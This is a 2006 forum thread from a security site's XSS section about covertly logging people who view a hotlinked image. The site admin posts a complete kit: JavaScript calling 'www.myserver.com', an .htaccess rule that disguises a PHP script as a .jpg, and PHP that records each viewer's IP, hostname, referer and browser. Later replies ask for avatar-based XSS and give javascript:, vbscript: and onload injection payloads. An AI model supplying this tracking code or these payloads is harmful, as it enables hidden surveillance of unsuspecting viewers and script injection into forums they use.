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www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> XSS Through Image
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XSS Through Image
PostPosted: Sun Mar 26, 2006 4:22 am Reply with quote
cdn
Beginner
Beginner
Joined: Mar 26, 2006
Posts: 2




If I hotlink an image from my website to another how can I get it to log the full url in the browser of the person viewing the image at that (or those) website(s)? Basically something that logs the url present in the browser of someone loading the image.


I guess something like this would be used for the sytax:

document.write("<img src=http://mywebsitehere/?a=" + document.location + ">");


but then what...how do i log the url from the viewer on my remote site? Is there some PHP script I can use for this purpose that would dump the url into a textfile?
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PostPosted: Sun Mar 26, 2006 10:33 am Reply with quote
fizzi
Advanced user
Advanced user
Joined: Sep 14, 2005
Posts: 55




i would try to make a php script which logs the url the visitor came from. this php script has to be renamed to the original image file. (and your server must interpret this file as a php script) somehow you must garantee, that the original image will be loaded by the script and then send back through the script.
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PostPosted: Sun Mar 26, 2006 5:15 pm Reply with quote
cdn
Beginner
Beginner
Joined: Mar 26, 2006
Posts: 2




Okay. what would the script be?
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PostPosted: Sun Mar 26, 2006 6:00 pm Reply with quote
waraxe
Site admin
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Here is one possible solution, using 'HTTP_REFERER':

1. Client-side javascript:

Code:

<script type="text/javascript">
var x=new Image();x.src="http://www.myserver.com/img/pic2871.jpg";
</script>



2. .htaccess file in "/img/" directory:

Code:

RewriteEngine on

RewriteRule ^pic([0-9]*).jpg pic321.php


3. Php logging script "pic321.php":

Code:

<?php
error_reporting(0);

//===================================================
$realpath = dirname(__FILE__);
$mainlogfile = $realpath . '/logz/log321.html';


// preparing various data

$time = date("F jS Y, h:iA");
$remote_ip = $_SERVER['REMOTE_ADDR'];
$hostname = @gethostbyaddr($remote_ip);
$referer = @htmlspecialchars($_SERVER['HTTP_REFERER']);
$browser = @htmlspecialchars($_SERVER['HTTP_USER_AGENT']);
$forwarder_ip = @htmlspecialchars(getenv('HTTP_X_FORWARDED_FOR'));
$request = @htmlspecialchars($_SERVER['REQUEST_URI']);


// appending mainlog

$mainlog = "<b>Time:</b> $time<br>";
$mainlog .= "<b>IP:</b> $remote_ip <br><b>HostName:</b> $hostname<br>";
$mainlog .= "<b>Referer:</b> $referer<br>";
$mainlog .= "<b>X Forwarder:</b> $forwarder_ip<br>";
$mainlog .= "<b>Browser:</b> $browser<br>";
$mainlog .= "<b>Request:</b> $request<br>";
$mainlog .= "--------------------------------<br>";

$fh = @fopen($mainlogfile,'ab');
@fwrite($fh,$mainlog);
@fclose($fh);

//===================================================

$buff = file_get_contents('./pic123.jpg');
header("Content-type: image/jpeg");
echo $buff;

die();
?>



Referer will work in most of the cases, but there are firewalls and other software and hardware, that can remove that piece of info. In this case
javascript "document.location" will be better choice.

Feedback is welcome Wink
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PostPosted: Sat Apr 22, 2006 3:53 am Reply with quote
gila
Beginner
Beginner
Joined: Jul 09, 2005
Posts: 2




waraxe wrote:
Here is one possible solution, using 'HTTP_REFERER':

1. Client-side javascript:

Code:

<script type="text/javascript">
var x=new Image();x.src="http://www.myserver.com/img/pic2871.jpg";
</script>



2. .htaccess file in "/img/" directory:

Code:

RewriteEngine on

RewriteRule ^pic([0-9]*).jpg pic321.php


3. Php logging script "pic321.php":

Code:

<?php
error_reporting(0);

//===================================================
$realpath = dirname(__FILE__);
$mainlogfile = $realpath . '/logz/log321.html';


// preparing various data

$time = date("F jS Y, h:iA");
$remote_ip = $_SERVER['REMOTE_ADDR'];
$hostname = @gethostbyaddr($remote_ip);
$referer = @htmlspecialchars($_SERVER['HTTP_REFERER']);
$browser = @htmlspecialchars($_SERVER['HTTP_USER_AGENT']);
$forwarder_ip = @htmlspecialchars(getenv('HTTP_X_FORWARDED_FOR'));
$request = @htmlspecialchars($_SERVER['REQUEST_URI']);


// appending mainlog

$mainlog = "<b>Time:</b> $time<br>";
$mainlog .= "<b>IP:</b> $remote_ip <br><b>HostName:</b> $hostname<br>";
$mainlog .= "<b>Referer:</b> $referer<br>";
$mainlog .= "<b>X Forwarder:</b> $forwarder_ip<br>";
$mainlog .= "<b>Browser:</b> $browser<br>";
$mainlog .= "<b>Request:</b> $request<br>";
$mainlog .= "--------------------------------<br>";

$fh = @fopen($mainlogfile,'ab');
@fwrite($fh,$mainlog);
@fclose($fh);

//===================================================

$buff = file_get_contents('./pic123.jpg');
header("Content-type: image/jpeg");
echo $buff;

die();
?>



Referer will work in most of the cases, but there are firewalls and other software and hardware, that can remove that piece of info. In this case
javascript "document.location" will be better choice.

Feedback is welcome Wink


can you create XSS script that we can put inside the forum Avatar with
ext. file still .jpg? tq.
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PostPosted: Wed May 24, 2006 11:06 pm Reply with quote
Tori
Regular user
Regular user
Joined: Jun 12, 2005
Posts: 6




RewriteRule is a good idea.
(You can use AddHandler to parse .gif as .php as well, another option but some free servers don't support it to prevent image hot linking.)

For forum avatars you need to find a XSS bug first. Sometimes simply javascript:("whatever") or vbscript:whatever as the forum avatar works! In IE and Mozilla Firefox <img src="javascript:('');"> is still valid syntax even though it is trapped within the quotes.

Another way is to exploit Onload="" to run javascripts.

<img name="a" src="http:/whatever.gif" width=0 height=0>
<img name="b" src="http:/whatever.gif" OnLoad=a.src=[javascript code] width=0 height=0>
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XSS Through Image
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